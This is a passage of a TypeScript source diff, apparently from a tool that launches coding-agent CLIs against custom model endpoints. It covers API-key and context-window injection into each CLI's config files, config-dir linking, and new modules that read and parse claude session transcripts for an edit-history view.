  * `CLAUDE_CONFIG_DIR` the same way `claude-credentials.ts`'s `claudeCredentialsPath()`
@@ -61,22 +135,30 @@ function realClaudeConfigDir(): string {
 }
 
 /**
- * Symlinks `<isolatedDir>/projects` back to the real, shared `~/.claude/projects`, so an
- * isolated `CLAUDE_CONFIG_DIR` (used to keep an injected API key away from a stored OAuth
- * session — see `configDirVar` on customModelInjection) doesn't also blind the response
- * viewer, subagent windows, and Read My Mind for that session (docs/wiki/Agent-CLIs.md).
- * Best-effort: a platform that refuses symlinks (unprivileged Windows without a junction
- * fallback working, e.g.) just keeps the pre-existing documented side effect instead of
- * failing the whole custom-model apply over a nice-to-have.
+ * Symlinks `<isolatedDir>/projects` back to the session's own config dir when it set one,
+ * else the real, shared `~/.claude/projects`, so an isolated `CLAUDE_CONFIG_DIR` (used to
+ * keep an injected API key away from a stored OAuth session, see `configDirVar` on
+ * customModelInjection) doesn't also blind the response viewer, subagent windows, and Read
+ * My Mind for that session (docs/wiki/Agent-CLIs.md). Best-effort: a platform that refuses
+ * symlinks (unprivileged Windows without a junction fallback working, e.g.) just keeps the
+ * pre-existing documented side effect instead of failing the whole custom-model apply over
+ * a nice-to-have.
+ *
+ * The own dir matters beyond that: the resume pin looks in `<isolatedDir>/projects`, so the
+ * server's tree would hide the conversation on apply and keep the endpoint's transcript out
+ * of the own dir's sight on clear. Same absolute-only and no-self-link rules as
+ * `linkRealHomeEntries()`, and a relative value of the server's own gets no link, since
+ * joining it would create `projects` under the server's working directory.
+ *
+ * ⚠️ The link target is a user-chosen path and `linkRealHomeEntry()` probes and creates it
+ * synchronously: every caller of `applyCustomModelInjection` passes a lookup that went
+ * through `guardSessionConfigDirHome()` first (rule #516).
  */
-function linkSharedProjectsDir(isolatedDir: string): void {
-  const link = join(isolatedDir, 'projects');
-  if (existsSync(link)) return; // already linked (idempotent re-apply) or real dir wrote one
-  try {
-    symlinkSync(join(realClaudeConfigDir(), 'projects'), link, platform() === 'win32' ? 'junction' : 'dir');
-  } catch {
-    // best-effort only — response viewer/subagent windows go blind for this session instead
-  }
+function linkSharedProjectsDir(isolatedDir: string, sessionConfigDir?: string): void {
+  const own = sessionConfigDir?.trim();
+  const configDir = own && own !== isolatedDir && isAbsolute(own) ? own : realClaudeConfigDir();
+  if (!isAbsolute(configDir)) return;
+  linkRealHomeEntry(join(configDir, 'projects'), join(isolatedDir, 'projects'), true);
 }
 
 /**
@@ -227,6 +309,8 @@ export interface AppliedCustomModel {
   envKeys: string[];
   configDir?: string;
   launchModel?: string;
+  /** The env key among `envKeys` that moves the CLI's home, see `CustomModelBookkeeping`. */
+  homeEnvVar?: string;
 }
 
 /**
@@ -250,7 +334,13 @@ export function applyCustomModelInjection(
    * trust-dialog seed, and only when provided (boot recovery, which has no reason to
    * re-answer a dialog that already fired once, omits it rather than re-deriving it).
    */
-  workingDir?: string
+  workingDir?: string,
+  /**
+   * Reads one env var from the SESSION's own env overrides (single-key on purpose: the
+   * map carries credentials). Resolves the CLI's real home from the session's value before
+   * the server's: `linkFromRealHome` for the `configDir` kind, `projects` for `configDirVar`.
+   */
+  sessionEnvLookup?: (envVar: string) => string | undefined
 ): AppliedCustomModel | undefined {
   const injection = buildCustomModelInjection(entry, endpoint, modelId, contextLength);
   if (injection.kind === 'unsupported') return undefined;
@@ -265,7 +355,7 @@ export function applyCustomModelInjection(
     if (injection.configDirVar) {
       configDir = customModelConfigDir(sessionId);
       mkdirSync(configDir, { recursive: true, mode: 0o700 });
-      linkSharedProjectsDir(configDir);
+      linkSharedProjectsDir(configDir, sessionEnvLookup?.(injection.configDirVar));
       if (injection.apiKeyTrustFile && injection.apiKey) {
         seedApiKeyTrustFile(configDir, injection.apiKeyTrustFile, injection.apiKey);
       }
@@ -280,9 +370,16 @@ export function applyCustomModelInjection(
       envKeys: Object.keys(envOverrides),
       configDir,
       launchModel: injection.launchModel,
+      homeEnvVar: injection.configDirVar,
     };
   }
   const configDir = customModelConfigDir(sessionId);
-  const envOverrides = applyConfigDirInjection(configDir, injection);
-  return { envOverrides, envKeys: Object.keys(envOverrides), configDir, launchModel: injection.launchModel };
+  const envOverrides = applyConfigDirInjection(configDir, injection, sessionEnvLookup?.(injection.dirEnvVar));
+  return {
+    envOverrides,
+    envKeys: Object.keys(envOverrides),
+    configDir,
+    launchModel: injection.launchModel,
+    homeEnvVar: injection.dirEnvVar,
+  };
 }

src/custom-model-injection.ts

@@ -87,6 +87,12 @@ export interface ConfigDirInjection {
    * `customModelInjection.launchModel` template, never hand-built per CLI.
    */
   launchModel?: string;
+  /** Carried from the registry recipe, see `cli-registry/types.ts` `linkFromRealHome`. */
+  linkFromRealHome?: string[];
+  /** Carried from the registry recipe, see `cli-registry/types.ts` `linkFromRealHomeDirs`. */
+  linkFromRealHomeDirs?: string[];
+  /** Carried from the registry recipe, see `cli-registry/types.ts` `realHomeFallback`. */
+  realHomeFallback?: string;
 }
 
 export interface UnsupportedInjection {
@@ -136,14 +142,22 @@ export function buildCustomModelInjection(
     }
 
     case 'configContentEnv': {
-      const content = renderConfigContent(cap.template, endpoint, modelId, apiKey);
+      const content = renderConfigContent(cap.template, endpoint, modelId, apiKey, contextLength);
       return withLaunchModel({ kind: 'env', envOverrides: { [cap.envVar]: content } }, cap.launchModel, modelId);
     }
 
     case 'configDir': {
-      const { content, extraEnv } = renderConfigFile(cap.template, endpoint, modelId, apiKey);
+      const { content, extraEnv } = renderConfigFile(cap.template, endpoint, modelId, apiKey, contextLength);
       return withLaunchModel(
-        { kind: 'configDir', dirEnvVar: cap.dirEnvVar, files: [{ relPath: cap.fileName, content }], extraEnv },
+        {
+          kind: 'configDir',
+          dirEnvVar: cap.dirEnvVar,
+          files: [{ relPath: cap.fileName, content }],
+          extraEnv,
+          ...(cap.linkFromRealHome ? { linkFromRealHome: cap.linkFromRealHome } : {}),
+          ...(cap.linkFromRealHomeDirs ? { linkFromRealHomeDirs: cap.linkFromRealHomeDirs } : {}),
+          ...(cap.realHomeFallback ? { realHomeFallback: cap.realHomeFallback } : {}),
+        },
         cap.launchModel,
         modelId
       );
@@ -164,41 +178,114 @@ function withLaunchModel<T extends EnvInjection | ConfigDirInjection>(
   return { ...result, launchModel: template.split('{modelId}').join(modelId) };
 }
 
+/**
+ * One quarter of the window is held back for the reply, capped at 8192 tokens (a small local
+ * model's window must not lose a disproportionate slice to the reservation). Returns undefined
+ * for an unknown or non-finite size: opencode then keeps its own default guess, which is the
+ * pre-fix behaviour; never invent a limit here.
+ */
+function opencodeModelLimit(contextLength: number | undefined): { context: number; output: number } | undefined {
+  if (contextLength === undefined || !Number.isFinite(contextLength)) return undefined;
+  const total = Math.trunc(contextLength);
+  if (total <= 0) return undefined;
+  const output = Math.max(1, Math.min(8192, Math.floor(total / 4)));
+  // `limit.context` is the FULL window as far as opencode is concerned: it reserves for
+  // the reply itself, so the discovered total is passed through, never a shrunk figure.
+  return { context: total, output };
+}
+
 function renderConfigContent(
   template: 'opencode-json',
   endpoint: CustomModelEndpoint,
   modelId: string,
-  apiKey: string
+  apiKey: string,
+  contextLength?: number
 ): string {
   switch (template) {
-    case 'opencode-json':
+    case 'opencode-json': {
+      // `limit` carries the discovered context window (issue #749): without it opencode assumes
+      // a large default window for an unrecognized model id and eventually overflows a much
+      // smaller local server. `context` is the FULL window and opencode reserves for the reply
+      // inside it itself, so `opencodeModelLimit` passes the real total through and only
+      // `output` gets the capped reservation.
+      const limit = opencodeModelLimit(contextLength);
       return JSON.stringify({
         $schema: 'https://opencode.ai/config.json',
         provider: {
           custom: {
             options: { baseURL: withV1Suffix(endpoint.baseUrl), apiKey },
-            models: { [modelId]: {} },
+            models: { [modelId]: limit ? { limit } : {} },
           },
         },
         model: `custom/${modelId}`,
       });
+    }
   }
 }
 
-const CODEX_API_KEY_ENV_VAR = 'CODEMAN_CUSTOM_MODEL_API_KEY';
+/** The DEDICATED env var carrying a custom endpoint's API key for config-file recipes that
+ *  reference keys by name (codex's `env_key`, deepseek's `apiKeyEnv`). Never a CLI-native
+ *  name: dsh's own `llm-deepseek`/`web-search-deepseek` rows read `DEEPSEEK_API_KEY` too,
+ *  so an in-session `/model` switch back to `deepseek-official` (or a profile with web
+ *  search on) would otherwise send the custom endpoint's key to api.deepseek.com. Both
+ *  entries list it in `privilegedEnvKeys` (stock.ts) like each other's redirect vars.
+ */
+const CUSTOM_MODEL_API_KEY_ENV_VAR = 'CODEMAN_CUSTOM_MODEL_API_KEY';
 
 /** The `[model.<name>]` block name grok's config.toml uses for the injected model — also
  *  what `-m <name>` in the standalone script's ONE_SHOT argv must reference to select it. */
 export const GROK_CUSTOM_MODEL_NAME = 'codeman-custom';
 
 function renderConfigFile(
-  template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml',
+  template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml' | 'deepseek-patch-json',
   endpoint: CustomModelEndpoint,
   modelId: string,
-  apiKey: string
+  apiKey: string,
+  contextLength?: number
 ): { content: string; extraEnv?: Record<string, string> } {
   const baseUrl = withV1Suffix(endpoint.baseUrl);
   switch (template) {
+    case 'deepseek-patch-json': {
+      const route = { provider: 'codeman-custom', model: modelId };
+      return {
+        content: JSON.stringify(
+          [
+            {
+              id: 'llm-pi-ai',
+              name: '@deepseek-ai/dsh-llm-pi-ai',
+              config: {
+                providers: {
+                  'codeman-custom': {
+                    // By NAME only (never the literal key, see CUSTOM_MODEL_API_KEY_ENV_VAR).
+                    apiKeyEnv: CUSTOM_MODEL_API_KEY_ENV_VAR,
+                    api: 'openai-completions',
+                    baseURL: baseUrl,
+                    models: [
+                      {
+                        id: modelId,
+                        name: modelId,
+                        ...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0
+                          ? {
+                              contextWindow: Math.trunc(contextLength),
+                              // A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window.
+                              maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))),
+                            }
+                          : {}),
+                      },
+                    ],
+                  },
+                },
+              },
+            },
+            { id: 'dsh-tui', name: '@deepseek-harness-tui/dsh-tui', config: route },
+            { id: 'agent-default-model', name: '@deepseek-ai/dsh-agent-default-model', config: route },
+          ],
+          null,
+          2
+        ),
+        extraEnv: { [CUSTOM_MODEL_API_KEY_ENV_VAR]: apiKey },
+      };
+    }
     case 'codex-toml': {
       // Verified against real codex (>= Feb 2026): `model` is a top-level STRING, never
       // a `[model].default` table — codex rejects that with "invalid type: map, expected
@@ -217,15 +304,21 @@ function renderConfigFile(
       const content = [
         `model = ${quoted(modelId)}`,
         `model_provider = "custom"`,
+        ...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0
+          ? [
+              `model_context_window = ${Math.trunc(contextLength)}`,
+              `model_auto_compact_token_limit = ${Math.max(1, Math.floor(contextLength * 0.75))}`,
+            ]
+          : []),
         '',
         '[model_providers.custom]',
         `name = "Custom Endpoint"`,
         `base_url = ${quoted(baseUrl)}`,
-        `env_key = ${quoted(CODEX_API_KEY_ENV_VAR)}`,
+        `env_key = ${quoted(CUSTOM_MODEL_API_KEY_ENV_VAR)}`,
         `wire_api = "responses"`,
         '',
       ].join('\n');
-      return { content, extraEnv: { [CODEX_API_KEY_ENV_VAR]: apiKey } };
+      return { content, extraEnv: { [CUSTOM_MODEL_API_KEY_ENV_VAR]: apiKey } };
     }
     case 'pi-models-json':
       // Verified against pi's OWN bundled docs (models.md): `models` is an ARRAY of

src/docker-hosts.ts

@@ -392,7 +392,7 @@ export function isAdoptedContainer(docker: Pick<SessionDocker, 'owned'>): boolea
 /**
  * POSIX single-quote shell-escaping (end-quote, escaped-quote, restart-quote).
  * Mirror of the helper in remote-hosts.ts / tmux-manager.ts. Every dynamic value
- * interpolated into the outer `bash -c "..."` launch layer is escaped through
+ * interpolated into the `bash -c` launch layer is escaped through
  * this so a path with spaces stays a single shell token. Operator-entered fields
  * are ALSO schema-rejected for `$`/backtick (NO_SHELL_META) as defense in depth.
  */
@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
  * string; argv arrays must NOT carry literal quotes (mirror of docker-export's
  * dockerArgv).
  */
-function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
+export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
   const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
   if (docker.context) argv.push('--context', docker.context);
   if (docker.daemonHost) argv.push('-H', docker.daemonHost);
@@ -1682,9 +1682,9 @@ export async function probeDockerCliVersion(
   if (IS_TEST_MODE) return undefined;
   // ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used
   // to pass the mode straight through as the command, which would have probed a binary that
-  // does not exist. Only claude reaches this today (it is the one CLI with a version gate),
-  // so nothing was actually broken, but the registry is what makes it correct for the next
-  // CLI that needs a version.
+  // does not exist. Claude and codex reach this today (the CLIs with a version gate), and
+  // both binaries match their mode, so nothing was actually broken, but the registry is what
+  // makes it correct for the next CLI that needs a version.
   const bin = getCli(mode)?.discovery.binaries[0];
   if (!bin) return undefined; // `shell` has no binary of its own
   const argv = dockerEngineArgv(docker);

src/edit-history-local-source.ts

@@ -0,0 +1,242 @@
+/**
+ * @fileoverview Reads a local claude session's transcripts for its edit history: the main
+ * transcript and its subagent transcripts, each from a byte offset.
+ *
+ * WHICH FILE (`resolveClaudeTranscript`). The transcript watcher's path, which the session's
+ * hooks report, so a session is read from wherever its claude really writes. Before the first
+ * hook after a server restart the watcher has none, and `findClaudeTranscript` looks for
+ * `<id>.jsonl` under the session's own `CLAUDE_CONFIG_DIR` override, else the server's
+ * (`claudeProjectsDir()`, as the relaunch pin does). A config dir set outside Codeman is not
+ * guessed; it is found with the next hook. Subagents live in
+ * `<main path without .jsonl>/subagents/agent-<id>.jsonl`.
+ *
+ * HOW MUCH. A requested file is read from its `offset` (clamped to its size), an unrequested
+ * (new) one from `budget` bytes before its end, and a new subagent's `.meta.json` (≤ 8 KB)
+ * comes along. `budgetBytes` is shared by all files, main first; once spent, files still
+ * report their size with an empty chunk. A request with `len` is a block that must end at
+ * `offset + len` (an "older" block ends at the floor): short of budget, its end is read.
+ * With `onlyRequested` ("older" reads) unrequested files are left out.
+ *
+ * Tests: `test/edit-history-local-source.test.ts`.
+ *
+ * @module edit-history-local-source
+ */
+
+import { open, readdir, realpath, stat } from 'node:fs/promises';
+import { homedir } from 'node:os';
+import { basename, isAbsolute, join } from 'node:path';
+import { probePathKind, type PathProbeKind } from './utils/bounded-path-probe.js';
+import { claudeProjectsDir } from './utils/claude-transcript.js';
+
+const ID_PATTERN = /^[A-Za-z0-9._-]+$/;
+const REL_PATH_PATTERN = /^(main|subagents\/agent-[A-Za-z0-9_-]+\.jsonl)$/;
+const AGENT_FILE_PATTERN = /^agent-([A-Za-z0-9_-]+)\.jsonl$/;
+const META_MAX_BYTES = 8192;
+
+/** One file to read from where the last read stopped (`len` only for an "older" block). */
+export interface EditSourceRequest {
+  /** `main` or `subagents/agent-<id>.jsonl`. */
+  relPath: string;
+  offset: number;
+  len?: number;
+}
+
+export interface EditSourceFile {
+  relPath: string;
+  /** The file's size when it was read. */
+  size: number;
+  startOffset: number;
+  chunk: Buffer;
+}
+
+export interface EditSources {
+  /** The conversation id: the main transcript's file name without `.jsonl`. */
+  transcriptId: string;
+  files: EditSourceFile[];
+  /** `agent-<id>.meta.json` text of each subagent read for the first time, by agent id. */
+  metas: Record<string, string>;
+}
+
+export interface EditSourceReadOptions {
+  /** Read only the requested files; the others are not listed. */
+  onlyRequested?: boolean;
+}
+
+/** What a path turned out to be (for Bash image candidates). */
+export interface PathProbe {
+  /** The path with symlinks resolved. */
+  realPath: string;
+  kind: 'file' | 'directory' | 'other';
+  /** Size in bytes (0 for anything that is not a regular file). */
+  size: number;
+  mtimeMs: number;
+}
+
+async function readRange(path: string, offset: number, len: number): Promise<Buffer> {
+  if (len <= 0) return Buffer.alloc(0);
+  const fh = await open(path, 'r');
+  try {
+    const buf = Buffer.alloc(len);
+    const { bytesRead } = await fh.read(buf, 0, len, offset);
+    return buf.subarray(0, bytesRead);
+  } catch {
+    return Buffer.alloc(0);
+  } finally {
+    await fh.close();
+  }
+}
+
+async function fileSize(path: string): Promise<number | null> {
+  try {
+    const s = await stat(path);
+    return s.isFile() ? s.size : null;
+  } catch {
+    return null;
+  }
+}
+
+/** The newest `<id>.jsonl` under any project dir, for the first id that has one; null when none does. */
+export async function findClaudeTranscript(
+  ids: readonly string[],
+  projectsDir: string = claudeProjectsDir()
+): Promise<string | null> {
+  let dirs: string[];
+  try {
+    dirs = await readdir(projectsDir);
+  } catch {
+    return null;
+  }
+  for (const id of new Set(ids)) {
+    if (!ID_PATTERN.test(id)) continue;
+    let best: { path: string; mtime: number } | null = null;
+    for (const dir of dirs) {
+      const path = join(projectsDir, dir, `${id}.jsonl`);
+      try {
+        const s = await stat(path);
+        if (s.isFile() && (!best || s.mtimeMs > best.mtime)) best = { path, mtime: s.mtimeMs };
+      } catch {
+        // not in this project dir
+      }
+    }
+    if (best) return best.path;
+  }
+  return null;
+}
+
+/**
+ * The session's main transcript: the transcript watcher's (hook-reported) path when there is
+ * one, else the newest `<id>.jsonl` under `configDir` (the session's `CLAUDE_CONFIG_DIR`
+ * override; the server's config dir when unset). Null when neither finds one.
+ */
+export async function resolveClaudeTranscript(
+  watcherPath: string | null | undefined,
+  ids: readonly string[],
+  configDir?: string
+): Promise<string | null> {
+  return watcherPath || findClaudeTranscript(ids, claudeProjectsDir(configDir));
+}
+
+/**
+ * Read the main transcript at `mainPath` and its subagent transcripts. Null when `mainPath`
+ * is not an absolute `<id>.jsonl` path or the file does not exist.
+ */
+export async function readClaudeEditSources(
+  mainPath: string,
+  requests: readonly EditSourceRequest[],
+  budgetBytes: number,
+  opts: EditSourceReadOptions = {}
+): Promise<EditSources | null> {
+  if (!isAbsolute(mainPath) || !mainPath.endsWith('.jsonl')) return null;
+  const transcriptId = basename(mainPath, '.jsonl');
+  if (!ID_PATTERN.test(transcriptId)) return null;
+
+  const byPath = new Map<string, EditSourceRequest>();
+  for (const r of requests) {
+    if (!REL_PATH_PATTERN.test(r.relPath) || byPath.has(r.relPath)) continue;
+    if (!Number.isSafeInteger(r.offset) || r.offset < 0) continue;
+    if (r.len !== undefined && (!Number.isSafeInteger(r.len) || r.len < 0)) continue;
+    byPath.set(r.relPath, r);
+  }
+
+  const subDir = join(mainPath.slice(0, -'.jsonl'.length), 'subagents');
+  const sources: Array<{ relPath: string; path: string; agentId?: string }> = [{ relPath: 'main', path: mainPath }];
+  try {
+    for (const name of (await readdir(subDir)).sort()) {
+      const m = AGENT_FILE_PATTERN.exec(name);
+      if (m) sources.push({ relPath: `subagents/${name}`, path: join(subDir, name), agentId: m[1] });
+    }
+  } catch {
+    // no subagents yet
+  }
+
+  let remaining = Math.max(0, Math.floor(budgetBytes));
+  const files: EditSourceFile[] = [];
+  const metas: Record<string, string> = {};
+  for (const src of sources) {
+    const size = await fileSize(src.path);
+    if (size === null) {
+      if (src.relPath === 'main') return null;
+      continue;
+    }
+    const req = byPath.get(src.relPath);
+    if (!req && opts.onlyRequested) continue;
+    let start: number;
+    let len: number;
+    if (req?.len !== undefined) {
+      const blockStart = Math.min(req.offset, size);
+      const blockEnd = Math.min(req.offset + req.len, size);
+      len = Math.min(blockEnd - blockStart, remaining);
+      start = blockEnd - len;
+    } else if (req) {
+      start = Math.min(req.offset, size);
+      len = Math.min(remaining, size - start);
+    } else {
+      len = Math.min(size, remaining);
+      start = size - len;
+    }
+    const chunk = await readRange(src.path, start, len);
+    remaining -= chunk.length;
+    files.push({ relPath: src.relPath, size, startOffset: start, chunk });
+    if (!req && src.agentId) {
+      const metaPath = join(subDir, `agent-${src.agentId}.meta.json`);
+      const metaSize = await fileSize(metaPath);
+      if (metaSize !== null) {
+        metas[src.agentId] = (await readRange(metaPath, 0, Math.min(metaSize, META_MAX_BYTES))).toString('utf8');
+      }
+    }
+  }
+  return { transcriptId, files, metas };
+}
+
+/**
+ * Per path its resolved path, kind, size and mtime, or null when it is not a regular file
+ * (missing, a directory, or on a filesystem that did not answer). `~/` means this user's home.
+ *
+ * The paths come from Bash output, so the agent chose them: each one first goes through the
+ * bounded probe (`probePathKind`, no `pastCap`, this is a bulk scan), and only a path it saw
+ * as a file is touched by `realpath` + `stat`. A path on a mount that stopped answering
+ * then costs one stalled stat at most, never a sync that cannot finish (#516 rule).
+ * Sequential, so one sync holds at most one threadpool worker.
+ */
+export async function probeLocalPaths(
+  paths: readonly string[],
+  home: string = homedir(),
+  probeKind: (path: string) => Promise<PathProbeKind> = probePathKind
+): Promise<Array<PathProbe | null>> {
+  const out: Array<PathProbe | null> = [];
+  for (const p of paths) {
+    const path = p.startsWith('~/') ? join(home, p.slice(2)) : p;
+    if (!isAbsolute(path) || (await probeKind(path)) !== 'file') {
+      out.push(null);
+      continue;
+    }
+    try {
+      const real = await realpath(path);
+      const s = await stat(real);
+      out.push(s.isFile() ? { realPath: real, kind: 'file', size: s.size, mtimeMs: Math.floor(s.mtimeMs) } : null);
+    } catch {
+      out.push(null);
+    }
+  }
+  return out;
+}

src/edit-history-parse.ts

@@ -0,0 +1,352 @@
+/**
+ * @fileoverview Edit history parser: claude JSONL transcript lines → the files the agent
+ * edited (with their diff) and the images its Bash calls may have produced.
+ *
+ * Every `Edit`/`Write` result line carries `toolUseResult.filePath` and a
+ * `structuredPatch` (hunks with ` `/`+`/`-` prefixed lines), so a per-edit diff needs no
+ * git. The whole-file fields next to it (`originalFile`, `content`) are never kept.
+ *
+ * Images rarely come from `Write`; they come from scripts run through Bash. A Bash call
+ * yields a CANDIDATE: the image-looking paths in its command and output, with the call's
+ * start and end time. Whether a candidate file was actually produced by the call (its
+ * mtime falls inside that window) is decided later by whoever can stat it, locally or on
+ * the remote host: this module does no IO.
+ *
+ * Chunked input: a transcript is read in byte ranges, so a Bash `tool_use` and its result
+ * can land in different chunks. Unanswered calls are handed back as `pending` and passed
+ * into the next call.
+ *
+ * Tests: `test/edit-history-parse.test.ts`.
+ *
+ * @module edit-history-parse
+ */
+
+import { posix } from 'node:path';
+
+/** Per-record budget for kept hunk lines; a larger patch is cut and marked `truncated`. */
+export const MAX_HUNK_BYTES = 64 * 1024;
+/** Image paths kept per Bash call. */
+export const MAX_IMAGE_CANDIDATES = 20;
+/** Unanswered Bash calls carried between chunks (an interrupted call never gets a result). */
+export const MAX_PENDING_BASH = 200;
+/**
+ * Command text kept per unanswered Bash call. Pending calls are persisted with the store, so
+ * this bounds it; an image path past this point of a command is still found in the output.
+ */
+export const MAX_PENDING_COMMAND_CHARS = 8192;
+/** Longest id, cwd or agent id of an unanswered Bash call; a call with a longer one is not kept. */
+export const MAX_PENDING_FIELD_CHARS = 4096;
+
+export type EditKind = 'code' | 'image';
+/** `edit` = a result with a path and a patch from a tool other than Edit/Write. */
+export type EditTool = 'Edit' | 'Write' | 'edit';
+
+export interface EditHunk {
+  oldStart: number;
+  oldLines: number;
+  newStart: number;
+  newLines: number;
+  lines: string[];
+}
+
+export interface EditRecord {
+  /** The `tool_use_id` of the edit: unique per edit, used to deduplicate. */
+  id: string;
+  /** ms since epoch, from the result line's `timestamp` (0 when missing). */
+  ts: number;
+  path: string;
+  kind: EditKind;
+  tool: EditTool;
+  /** A `Write` that created the file. */
+  created: boolean;
+  /** Counted over the whole patch, also when `hunks` was cut. */
+  added: number;
+  removed: number;
+  hunks: EditHunk[];
+  truncated: boolean;
+  /** Set for lines of a subagent transcript. */
+  agentId?: string;
+}
+
+export interface PendingBash {
+  id: string;
+  ts: number;
+  command: string;
+  cwd: string;
+  agentId?: string;
+}
+
+export interface ImageCandidate {
+  toolUseId: string;
+  start: number;
+  end: number;
+  paths: string[];
+  agentId?: string;
+  /**
+   * Files claude handed to the user (`SendUserFile`): shown on purpose, so no mtime window
+   * applies; the file must still exist, and a version already listed is not listed again.
+   */
+  sent?: boolean;
+}
+
+export interface EditParseResult {
+  records: EditRecord[];
+  candidates: ImageCandidate[];
+  pending: PendingBash[];
+}
+
+const IMAGE_EXT = '(?:png|jpe?g|gif|webp|avif|svg)';
+const IMAGE_PATH_RE = new RegExp(`\\.${IMAGE_EXT}$`, 'i');
+// After the extension: no further name character, and no `.ext` (a.png.bak).
+const EXT_END = '(?![\\w-])(?!\\.\\w)';
+// Characters that end an unquoted path token.
+const TOKEN_CHAR = '[^\\s\'"`<>|;&()=,:*?]';
+const PATH_TOKEN_RE = new RegExp(
+  [
+    // 1. file:// URL (Codex: `Saved to: file:///…`), which may contain spaces up to the extension.
+    //    The lazy scan stops at the next `file://`: otherwise it runs to the line end from
+    //    every `file://` of a line that repeats it (quadratic). `:` stays allowed, so a
+    //    timestamped name (`plot-12:30.png`) is still found.
+    `file://(/(?:(?!file://)[^\\n])*?\\.${IMAGE_EXT})${EXT_END}`,
+    // 2./3. Quoted paths, spaces allowed.
+    `"([^"\\n]*\\.${IMAGE_EXT})"`,
+    `'([^'\\n]*\\.${IMAGE_EXT})'`,
+    // 4. Unquoted token. A match starts only at a token boundary (line start or a character
+    //    that ends a token), never inside a URL (`:` is not a boundary), a glob or a longer
+    //    name. Anchoring at boundaries keeps this linear: a lookbehind that only excluded
+    //    some characters let a match start at every other character of a long token
+    //    (`####…`, a base64 blob) and rescan the token from each, quadratic in the line
+    //    length. The name before the extension must not be empty.
+    `(?<=^|[\\s'"\`<>|;&()=,*?])((?:${TOKEN_CHAR}*/)?[^\\s'"\`<>|;&()=,:*?/]+\\.${IMAGE_EXT})${EXT_END}`,
+  ].join('|'),
+  'gi'
+);
+
+/** `image` for the image extensions the panel can thumbnail, else `code`. */
+export function classifyEditPath(path: string): EditKind {
+  return IMAGE_PATH_RE.test(path) ? 'image' : 'code';
+}
+
+/**
+ * Image-looking paths in a Bash call's command and output, in order of appearance,
+ * deduplicated and capped at {@link MAX_IMAGE_CANDIDATES}. Absolute paths are normalised,
+ * `~/` paths stay literal (the host that stats them expands `~`), relative ones are
+ * resolved against `cwd` and dropped when `cwd` is not absolute. URLs and globs are
+ * skipped.
+ */
+export function extractImagePathCandidates(command: string, stdout: string, stderr: string, cwd: string): string[] {
+  const text = [command, stdout, stderr].join('\n');
+  const out: string[] = [];
+  const seen = new Set<string>();
+  for (const m of text.matchAll(PATH_TOKEN_RE)) {
+    const raw = m[1] ?? m[2] ?? m[3] ?? m[4];
+    if (!raw || raw.includes('://') || /[*?]/.test(raw)) continue;
+    let resolved: string;
+    if (raw.startsWith('/')) resolved = posix.normalize(raw);
+    else if (raw.startsWith('~/')) resolved = raw;
+    else if (cwd.startsWith('/')) resolved = posix.resolve(cwd, raw);
+    else continue;
+    if (seen.has(resolved)) continue;
+    seen.add(resolved);
+    out.push(resolved);
+    if (out.length >= MAX_IMAGE_CANDIDATES) break;
+  }
+  return out;
+}
+
+function isRecord(v: unknown): v is Record<string, unknown> {
+  return typeof v === 'object' && v !== null && !Array.isArray(v);
+}
+
+/**
+ * The hunks of `patch` with their string lines, cut once the lines reach {@link MAX_HUNK_BYTES}
+ * (`truncated`). Also applied to hunks loaded from a store file.
+ */
+export function capHunks(patch: readonly unknown[]): { hunks: EditHunk[]; truncated: boolean } {
+  const hunks: EditHunk[] = [];
+  let budget = MAX_HUNK_BYTES;
+  let truncated = false;
+  for (const h of patch) {
+    if (!isRecord(h) || !Array.isArray(h.lines)) continue;
+    if (truncated) break;
+    const kept: string[] = [];
+    for (const l of h.lines) {
+      if (typeof l !== 'string') continue;
+      const cost = Buffer.byteLength(l) + 3;
+      if (cost > budget) {
+        truncated = true;
+        break;
+      }
+      budget -= cost;
+      kept.push(l);
+    }
+    hunks.push({
+      oldStart: Number(h.oldStart) || 0,
+      oldLines: Number(h.oldLines) || 0,
+      newStart: Number(h.newStart) || 0,
+      newLines: Number(h.newLines) || 0,
+      lines: kept,
+    });
+  }
+  return { hunks, truncated };
+}
+
+function toHunks(patch: unknown[]): { hunks: EditHunk[]; added: number; removed: number; truncated: boolean } {
+  let added = 0;
+  let removed = 0;
+  for (const h of patch) {
+    if (!isRecord(h) || !Array.isArray(h.lines)) continue;
+    for (const l of h.lines) {
+      if (typeof l !== 'string') continue;
+      if (l.startsWith('+')) added++;
+      else if (l.startsWith('-')) removed++;
+    }
+  }
+  return { ...capHunks(patch), added, removed };
+}
+
+/** A new file's content as one all-added hunk, in `structuredPatch` form. */
+function createdFileHunk(content: string): Record<string, unknown> {
+  const lines = content.split('\n');
+  if (lines.length > 0 && lines[lines.length - 1] === '') lines.pop();
+  return { oldStart: 0, oldLines: 0, newStart: 1, newLines: lines.length, lines: lines.map((l) => `+${l}`) };
+}
+
+function toEditRecord(id: string, ts: number, result: unknown, agentId: string | undefined): EditRecord | null {
+  if (!isRecord(result)) return null;
+  const { filePath, structuredPatch } = result;
+  if (typeof filePath !== 'string' || !filePath || !Array.isArray(structuredPatch)) return null;
+  const tool: EditTool = typeof result.type === 'string' ? 'Write' : 'oldString' in result ? 'Edit' : 'edit';
+  const kind = classifyEditPath(filePath);
+  // A Write that created a file reports an empty patch; its diff is the whole content.
+  const patch =
+    result.type === 'create' && structuredPatch.length === 0 && kind !== 'image' && typeof result.content === 'string'
+      ? [createdFileHunk(result.content)]
+      : structuredPatch;
+  const { hunks, added, removed, truncated } = toHunks(patch);
+  const record: EditRecord = {
+    id,
+    ts,
+    path: filePath,
+    kind,
+    tool,
+    created: result.type === 'create',
+    added,
+    removed,
+    hunks,
+    truncated,
+  };
+  if (agentId) record.agentId = agentId;
+  return record;
+}
+
+/**
